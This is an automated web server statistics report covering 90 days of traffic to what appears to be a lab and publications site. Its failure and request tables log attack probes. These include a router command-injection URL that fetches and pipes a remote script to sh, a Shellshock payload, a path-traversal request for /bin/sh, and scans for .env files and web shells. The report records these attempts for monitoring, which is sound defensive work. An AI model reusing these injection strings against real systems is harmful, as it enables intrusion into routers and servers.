Web Server Statistics for VM's sitesProgram started at Fri-13-Feb-2026 00:13.
Analysed requests from Sat-15-Nov-2025 00:00 to Fri-13-Feb-2026 00:01 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 13-Feb-2026 00:13.
Successful requests: 298,807 (16,536)
Average successful requests per day: 3,320 (2,362)
Successful requests for pages: 152,596 (5,391)
Average successful requests for pages per day: 1,695 (770)
Failed requests: 142,033 (7,876)
Redirected requests: 347,324 (10,885)
Distinct files requested: 6,397 (2,977)
Distinct hosts served: 64,077 (5,892)
Corrupt logfile lines: 284
Unwanted logfile entries: 2,047,354
Data transferred: 172.08 gigabytes (12.65 gigabytes)
Average data transferred per day: 1.91 gigabytes (1.81 gigabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit (
) represents 2,000 requests for pages or part thereof.
| month | reqs | pages | |
|---|---|---|---|
| Nov 2025 | 58662 | 34748 | ![]() ![]() |
| Dec 2025 | 114627 | 61134 | ![]() ![]() ![]() ![]() ![]() |
| Jan 2026 | 94971 | 46557 | ![]() ![]() |
| Feb 2026 | 30547 | 10157 | ![]() ![]() |
Busiest month: Dec 2025 (61,134 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit (
) represents 400 requests for pages or part thereof.
| week beg. | reqs | pages | |
|---|---|---|---|
| 9/Nov/25 | 3025 | 1582 | ![]() |
| 16/Nov/25 | 27079 | 15927 | ![]() ![]() |
| 23/Nov/25 | 25290 | 15139 | ![]() ![]() ![]() |
| 30/Nov/25 | 28157 | 15102 | ![]() ![]() ![]() |
| 7/Dec/25 | 26692 | 15801 | ![]() ![]() |
| 14/Dec/25 | 30311 | 14335 | ![]() ![]() |
| 21/Dec/25 | 21582 | 11298 | ![]() ![]() ![]() ![]() |
| 28/Dec/25 | 20652 | 11854 | ![]() ![]() ![]() ![]() |
| 4/Jan/26 | 22958 | 13453 | ![]() ![]() |
| 11/Jan/26 | 21628 | 11441 | ![]() ![]() ![]() ![]() |
| 18/Jan/26 | 23225 | 9425 | ![]() ![]() |
| 25/Jan/26 | 17661 | 7082 | ![]() ![]() |
| 1/Feb/26 | 19670 | 6343 | ![]() |
| 8/Feb/26 | 10877 | 3814 | ![]() ![]() |
Busiest week: week beginning 16/Nov/25 (15,927 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit (
) represents 80 requests for pages or part thereof.
| date | reqs | pages | |
|---|---|---|---|
| 2/Jan/26 | 2591 | 1532 | ![]() ![]() |
| 3/Jan/26 | 3345 | 1669 | ![]() ![]() ![]() |
| 4/Jan/26 | 3164 | 2026 | ![]() ![]() ![]() |
| 5/Jan/26 | 3141 | 2014 | ![]() ![]() ![]() |
| 6/Jan/26 | 3868 | 2340 | ![]() ![]() ![]() ![]() |
| 7/Jan/26 | 3771 | 1939 | ![]() ![]() ![]() |
| 8/Jan/26 | 2726 | 1419 | ![]() ![]() |
| 9/Jan/26 | 3400 | 2014 | ![]() ![]() ![]() |
| 10/Jan/26 | 2888 | 1701 | ![]() ![]() ![]() |
| 11/Jan/26 | 2814 | 1826 | ![]() ![]() ![]() ![]() |
| 12/Jan/26 | 4190 | 1907 | ![]() ![]() |
| 13/Jan/26 | 2818 | 1204 | ![]() |
| 14/Jan/26 | 3476 | 1942 | ![]() ![]() ![]() |
| 15/Jan/26 | 3149 | 1476 | ![]() ![]() ![]() |
| 16/Jan/26 | 2738 | 1591 | ![]() ![]() |
| 17/Jan/26 | 2443 | 1495 | ![]() ![]() ![]() |
| 18/Jan/26 | 6531 | 2619 | ![]() ![]() |
| 19/Jan/26 | 3507 | 1455 | ![]() ![]() ![]() |
| 20/Jan/26 | 2764 | 1399 | ![]() ![]() |
| 21/Jan/26 | 3231 | 1128 | ![]() ![]() ![]() ![]() |
| 22/Jan/26 | 3117 | 1249 | ![]() |
| 23/Jan/26 | 2367 | 942 | ![]() ![]() |
| 24/Jan/26 | 1708 | 633 | ![]() |
| 25/Jan/26 | 2635 | 1304 | ![]() ![]() |
| 26/Jan/26 | 2340 | 848 | ![]() ![]() ![]() |
| 27/Jan/26 | 2929 | 1220 | ![]() |
| 28/Jan/26 | 2584 | 900 | ![]() ![]() |
| 29/Jan/26 | 3650 | 1252 | ![]() |
| 30/Jan/26 | 2054 | 846 | ![]() ![]() ![]() |
| 31/Jan/26 | 1469 | 712 | ![]() ![]() |
| 1/Feb/26 | 2656 | 1125 | ![]() ![]() ![]() ![]() |
| 2/Feb/26 | 3165 | 920 | ![]() ![]() |
| 3/Feb/26 | 3090 | 1009 | ![]() ![]() ![]() |
| 4/Feb/26 | 2603 | 925 | ![]() ![]() |
| 5/Feb/26 | 2489 | 785 | ![]() ![]() |
| 6/Feb/26 | 3247 | 886 | ![]() ![]() |
| 7/Feb/26 | 2420 | 693 | ![]() ![]() |
| 8/Feb/26 | 1766 | 785 | ![]() ![]() |
| 9/Feb/26 | 2456 | 704 | ![]() ![]() |
| 10/Feb/26 | 2104 | 722 | ![]() ![]() |
| 11/Feb/26 | 2151 | 858 | ![]() ![]() ![]() |
| 12/Feb/26 | 2400 | 745 | ![]() ![]() |
Busiest day: 19/Nov/25 (3,090 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit (
) represents 600 requests for pages or part thereof.
| day | reqs | pages | |
|---|---|---|---|
| Sun | 45836 | 24567 | ![]() ![]() ![]() |
| Mon | 44590 | 21803 | ![]() ![]() ![]() |
| Tue | 44462 | 22429 | ![]() ![]() ![]() |
| Wed | 48284 | 24376 | ![]() ![]() ![]() |
| Thu | 42607 | 20519 | ![]() ![]() ![]() |
| Fri | 37133 | 19497 | ![]() ![]() |
| Sat | 35895 | 19405 | ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit (
) represents 200 requests for pages or part thereof.
| hour | reqs | pages | |
|---|---|---|---|
| 0 | 10212 | 5564 | ![]() ![]() ![]() |
| 1 | 11410 | 5648 | ![]() ![]() ![]() ![]() |
| 2 | 11793 | 6467 | ![]() ![]() |
| 3 | 11908 | 6105 | ![]() ![]() ![]() ![]() ![]() |
| 4 | 16400 | 6789 | ![]() ![]() |
| 5 | 13491 | 6398 | ![]() |
| 6 | 14755 | 6532 | ![]() ![]() |
| 7 | 12154 | 5591 | ![]() ![]() ![]() |
| 8 | 12900 | 5956 | ![]() ![]() ![]() ![]() |
| 9 | 14344 | 6840 | ![]() ![]() ![]() |
| 10 | 12040 | 5937 | ![]() ![]() ![]() ![]() |
| 11 | 11845 | 5724 | ![]() ![]() ![]() ![]() |
| 12 | 15974 | 7231 | ![]() ![]() ![]() |
| 13 | 13471 | 6716 | ![]() ![]() |
| 14 | 13933 | 6506 | ![]() ![]() |
| 15 | 13714 | 7668 | ![]() ![]() ![]() ![]() |
| 16 | 11974 | 6238 | ![]() |
| 17 | 12400 | 7297 | ![]() ![]() ![]() |
| 18 | 12255 | 7189 | ![]() ![]() |
| 19 | 10649 | 5968 | ![]() ![]() ![]() ![]() |
| 20 | 10739 | 6766 | ![]() ![]() |
| 21 | 10039 | 5794 | ![]() ![]() ![]() ![]() |
| 22 | 10580 | 6068 | ![]() ![]() ![]() ![]() ![]() |
| 23 | 9827 | 5604 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
| reqs | %bytes | domain |
|---|---|---|
| 298807 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.

Listing the top 20 organisations by the number of requests, sorted by the number of requests.
| reqs | %bytes | organisation |
|---|---|---|
| 13626 | 4.69% | 66.249 |
| 10628 | 1.31% | 45 |
| 10035 | 18.18% | 114 |
| 7832 | 1.84% | 47 |
| 7254 | 0.11% | 51 |
| 6513 | 7.61% | 40 |
| 6319 | 3.56% | 43 |
| 6178 | 1.39% | 188.143 |
| 6126 | 0.01% | 147.135 |
| 5250 | 0.35% | 31 |
| 4903 | 5.34% | 4 |
| 4438 | 0.82% | 54 |
| 4394 | 0.81% | 216.244 |
| 4036 | 2.68% | 52 |
| 3793 | 1.13% | 95 |
| 3791 | 0.92% | 85 |
| 3720 | 0.26% | 77 |
| 3660 | 0.45% | 104 |
| 3342 | 0.50% | 57 |
| 3272 | 0.59% | 5 |
| 179697 | 47.44% | [not listed: 3,818 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.

Listing the top 50 hosts by the number of requests, sorted alphabetically.
| reqs | %bytes | host |
|---|---|---|
| 3254 | 5.32% | 4.246.123.53 |
| 369 | 0.07% | 37.204.167.146 |
| 379 | 0.02% | 37.220.190.92 |
| 3259 | 5.29% | 40.65.93.161 |
| 811 | 51.83.34.51 | |
| 949 | 54.37.252.32 | |
| 797 | 65.21.163.190 | |
| 809 | 66.42.110.246 | |
| 938 | 0.33% | 66.249.66.4 |
| 825 | 0.23% | 66.249.66.5 |
| 749 | 0.28% | 66.249.66.6 |
| 784 | 0.28% | 66.249.66.37 |
| 753 | 0.30% | 66.249.66.38 |
| 698 | 0.28% | 66.249.66.39 |
| 774 | 0.25% | 66.249.66.67 |
| 731 | 0.24% | 66.249.66.68 |
| 682 | 0.26% | 66.249.66.69 |
| 739 | 0.25% | 66.249.66.163 |
| 690 | 0.28% | 66.249.66.164 |
| 684 | 0.25% | 66.249.66.165 |
| 911 | 0.30% | 66.249.66.198 |
| 884 | 0.32% | 66.249.66.199 |
| 758 | 0.25% | 66.249.66.200 |
| 378 | 0.01% | 77.75.76.164 |
| 393 | 84.239.45.13 | |
| 562 | 0.03% | 88.99.244.56 |
| 508 | 0.04% | 89.187.185.186 |
| 568 | 0.02% | 89.222.113.148 |
| 1661 | 0.81% | 95.127.163.133 |
| 324 | 0.02% | 109.232.104.234 |
| 324 | 0.03% | 128.71.41.206 |
| 352 | 0.01% | 132.227.124.134 |
| 441 | 0.03% | 139.47.142.39 |
| 2961 | 0.01% | 144.76.19.157 |
| 5783 | 0.01% | 147.135.214.235 |
| 351 | 0.01% | 153.94.16.237 |
| 3243 | 5.01% | 172.179.113.153 |
| 348 | 0.30% | 176.224.157.10 |
| 330 | 0.01% | 182.8.193.99 |
| 997 | 0.27% | 188.143.244.134 |
| 855 | 0.24% | 188.143.244.136 |
| 982 | 0.28% | 188.143.244.137 |
| 925 | 0.21% | 188.143.244.147 |
| 1133 | 0.14% | 188.143.244.149 |
| 986 | 0.22% | 188.143.244.153 |
| 405 | 193.142.147.209 | |
| 772 | 0.26% | 193.146.209.135 |
| 545 | 0.02% | 194.225.136.5 |
| 630 | 0.11% | 213.208.173.67 |
| 4388 | 0.81% | 216.244.66.243 |
| 245435 | 76.26% | [not listed: 64,027 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).

Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists which queries people used in search engines to find the site.
Listing queries, sorted by the number of requests.
| reqs | search term |
|---|---|
| 2 | nordesre |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists which words people used in search engines to find the site.
Listing query words, sorted by the number of requests.
| reqs | search term |
|---|---|
| 2 | nordesre |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.

Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
| no. | reqs | pages | browser |
|---|---|---|---|
| 1 | 156876 | 79644 | Chrome |
| 43733 | 43251 | Chrome/114 | |
| 8096 | 3471 | Chrome/141 | |
| 4967 | 3371 | Chrome/119 | |
| 7965 | 2949 | Chrome/116 | |
| 10072 | 2853 | Chrome/137 | |
| 13457 | 2119 | Chrome/143 | |
| 13876 | 1861 | Chrome/142 | |
| 3127 | 1621 | Chrome/134 | |
| 2479 | 1368 | Chrome/120 | |
| 6857 | 1207 | Chrome/139 | |
| 2 | 40878 | 23979 | Firefox |
| 17468 | 17433 | Firefox/114 | |
| 6186 | 3388 | Firefox/126 | |
| 535 | 533 | Firefox/111 | |
| 1774 | 478 | Firefox/136 | |
| 4854 | 385 | Firefox/146 | |
| 321 | 265 | Firefox/3 | |
| 2304 | 228 | Firefox/145 | |
| 378 | 220 | Firefox/121 | |
| 1999 | 214 | Firefox/147 | |
| 186 | 127 | Firefox/57 | |
| 3 | 38101 | 22790 | Netscape (compatible) |
| 4 | 35493 | 16001 | Safari |
| 14441 | 6461 | Safari/537 | |
| 10014 | 5473 | Safari/604 | |
| 10101 | 3584 | Safari/605 | |
| 208 | 146 | Safari/600 | |
| 255 | 142 | Safari/601 | |
| 37 | 33 | Safari/534 | |
| 50 | 32 | Safari/184 | |
| 43 | 28 | Safari/180 | |
| 34 | 22 | Safari/260 | |
| 18 | 12 | Safari/172 | |
| 5 | 2397 | 1638 | meta-externalagent |
| 2397 | 1638 | meta-externalagent/1 | |
| 6 | 4140 | 1128 | Baiduspider |
| 2283 | 1124 | Baiduspider/2 | |
| 7 | 1849 | 1085 | Mozilla |
| 1 | 1 | Mozilla/2 | |
| 1 | 1 | Mozilla/1 | |
| 8 | 825 | 640 | Sogou web spider |
| 825 | 640 | Sogou web spider/4 | |
| 9 | 562 | 557 | serpstatbot |
| 562 | 557 | serpstatbot/2 | |
| 10 | 1228 | 448 | Go-http-client |
| 1228 | 448 | Go-http-client/1 | |
| 11 | 776 | 434 | Owler (ows.eu |
| 776 | 434 | Owler (ows.eu/owler) | |
| 12 | 393 | 387 | panscient.com |
| 13 | 569 | 240 | DuckDuckBot |
| 569 | 240 | DuckDuckBot/1 | |
| 14 | 257 | 222 | ZoominfoBot (zoominfobot at zoominfo dot com) |
| 15 | 211 | 211 | Hello from Palo Alto Networks, find out more about our scans in https: |
| 211 | 211 | Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex | |
| 16 | 252 | 175 | Turnitin (https: |
| 252 | 175 | Turnitin (https://bit | |
| 17 | 287 | 158 | Java |
| 180 | 158 | Java/1 | |
| 18 | 316 | 146 | MSIE |
| 58 | 34 | MSIE/6 | |
| 144 | 34 | MSIE/7 | |
| 48 | 26 | MSIE/8 | |
| 22 | 21 | MSIE/10 | |
| 22 | 15 | MSIE/5 | |
| 19 | 13 | MSIE/9 | |
| 3 | 3 | MSIE/4 | |
| 19 | 444 | 134 | Python |
| 444 | 134 | Python/3 | |
| 20 | 505 | 86 | python-requests |
| 505 | 86 | python-requests/2 | |
| 10826 | 1043 | [not listed: 156 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.

Listing operating systems, sorted by the number of requests for pages.
| no. | reqs | pages | OS |
|---|---|---|---|
| 1 | 97516 | 43211 | Windows |
| 93348 | 41291 | Windows NT | |
| 1895 | 1146 | Windows 7 | |
| 456 | 300 | Unknown Windows | |
| 1252 | 272 | Windows XP | |
| 291 | 90 | Windows 8 | |
| 171 | 50 | Windows Vista | |
| 52 | 39 | Windows Server 2003 | |
| 34 | 10 | Windows 2000 | |
| 5 | 4 | Windows 98 | |
| 3 | 3 | Windows CE | |
| 3 | 3 | Windows ME | |
| 5 | 2 | Windows 95 | |
| 1 | 1 | Windows 3.1 | |
| 2 | 67103 | 42360 | Unix |
| 66924 | 42271 | Linux | |
| 159 | 77 | Other Unix | |
| 10 | 5 | OpenBSD | |
| 6 | 5 | FreeBSD | |
| 4 | 2 | NetBSD | |
| 3 | 54102 | 29779 | Macintosh |
| 4 | 49307 | 24029 | OS unknown |
| 5 | 28859 | 11761 | Known robots |
| 6 | 295 | 3 | OS/2 |
| 7 | 2 | 2 | Symbian OS |
| 8 | 1 | 1 | Palm OS |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the HTTP status codes of all requests.

Listing status codes, sorted numerically.
| reqs | status code |
|---|---|
| 276129 | 200 OK |
| 10325 | 206 Partial content |
| 344059 | 301 Document moved permanently |
| 3265 | 302 Document found elsewhere |
| 12353 | 304 Not modified since last retrieval |
| 3655 | 400 Bad request |
| 3024 | 403 Access forbidden |
| 135238 | 404 Document not found |
| 10 | 405 Method not allowed |
| 7 | 408 Request timeout |
| 99 | 416 Requested range not valid |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the sizes of files.

| size | reqs | %bytes |
|---|---|---|
| 0 | 69 | |
| 1B- 10B | 0 | |
| 11B- 100B | 0 | |
| 101B- 1kB | 41202 | 0.01% |
| 1kB- 10kB | 117268 | 0.16% |
| 10kB-100kB | 90318 | 1.73% |
| 100kB- 1MB | 27578 | 5.19% |
| 1MB- 10MB | 19433 | 33.92% |
| 10MB-100MB | 2717 | 35.13% |
| 100MB- 1GB | 222 | 23.86% |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the extensions of files.

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
| reqs | %bytes | extension |
|---|---|---|
| 37164 | 47.67% | .pdf [Adobe Portable Document Format] |
| 1358 | 28.96% | .pptx |
| 76673 | 9.22% | .jpg [JPEG graphics] |
| 62 | 4.39% | .mp4 |
| 607 | 2.84% | .ppt |
| 135 | 2.56% | .m4v |
| 509 | 0.78% | .doc [Microsoft Word document] |
| 5 | 0.76% | .mov [Quick Time movie] |
| 18 | 0.64% | .MOV |
| 106 | 0.44% | .zip [Zip archives] |
| 113190 | 0.31% | .html [Hypertext Markup Language] |
| 15 | 0.29% | .exe [Executables] |
| 39261 | 0.28% | [directories] |
| 161 | 0.16% | .xlsx |
| 23 | 0.16% | .avi [AVI movies] |
| 86 | 0.12% | .ppsx |
| 90 | 0.10% | .docx |
| 29344 | 0.32% | [not listed: 16 extensions] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
| reqs | %bytes | directory |
|---|---|---|
| 52879 | 56.71% | /lab/ |
| 20688 | 18.27% | /c/ |
| 14819 | 10.89% | /publications/ |
| 1215 | 4.64% | /adhoc/ |
| 93534 | 4.52% | /photo/ |
| 2320 | 2.18% | /e/ |
| 102220 | 1.10% | [root directory] |
| 5833 | 1.02% | http:// |
| 690 | 0.58% | /manuals/ |
| 936 | 0.04% | /korean-blog/ |
| 659 | 0.02% | /stats/ |
| 3014 | 0.01% | [not listed: 5 directories] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
| reqs | file |
|---|---|
| 1056 | /robots.txt |
| 969 | /x16/x03/x01 |
| 503 | /cgi-bin/luci/ |
| 48 | /cgi-bin/luci/?form=country&operation=write&country=$(wget http://0.0.0.0/router.tplink.sh -O-|sh) |
| 15 | /cgi-bin/luci/? |
| 449 | /apple-touch-icon.png |
| 445 | /apple-touch-icon-precomposed.png |
| 366 | /files/mail.js |
| 291 | /wp-login.php |
| 219 | /ip |
| 216 | /x16/x03/x01/x05/xa8/x01 |
| 201 | /bin/sh |
| 194 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
| 181 | /.env |
| 181 | /admin.php |
| 25 | /admin.php?p= |
| 180 | /ads.txt |
| 176 | /x16/x03/x02/x01o/x01 |
| 161 | * |
| 140 | / |
| 137 | /xmlrpc.php |
| 68 | /xmlrpc.php?rsd |
| 134 | /wp-content/plugins/hellopress/wp_filemanager.php |
| 134 | /about.php |
| 125 | /info.php |
| 122 | /x03 |
| 118 | /classwithtostring.php |
| 115 | /lab/people.html/ |
| 111 | /file.php |
| 23 | /file.php? |
| 110 | /alfa.php |
| 110 | /lab/publications.html/ |
| 109 | /lab/conferences.html/ |
| 101 | /404.php |
| 100 | /ioxi-o.php |
| 134526 | [not listed: 89,349 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.

Listing files with at least 20 requests, sorted by the number of requests.
| reqs | %bytes | last time | file |
|---|---|---|---|
| 61960 | 0.08% | 12/Feb/26 21:18 | /addcomment2.html |
| 13919 | 0.13% | 12/Feb/26 23:59 | / |
| 157 | 12/Feb/26 15:44 | /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H;/bin/uname -a;echo @ HTTP/1.0 | |
| 110 | 12/Feb/26 01:47 | /?XDEBUG_SESSION_START=phpstorm | |
| 64 | 2/Feb/26 00:21 | /?subject=hafhcfdevcf | |
| 49 | 8/Feb/26 21:56 | /?author=0 | |
| 49 | 8/Feb/26 19:37 | /?author=5 | |
| 42 | 6/Feb/26 15:56 | /?author=8 | |
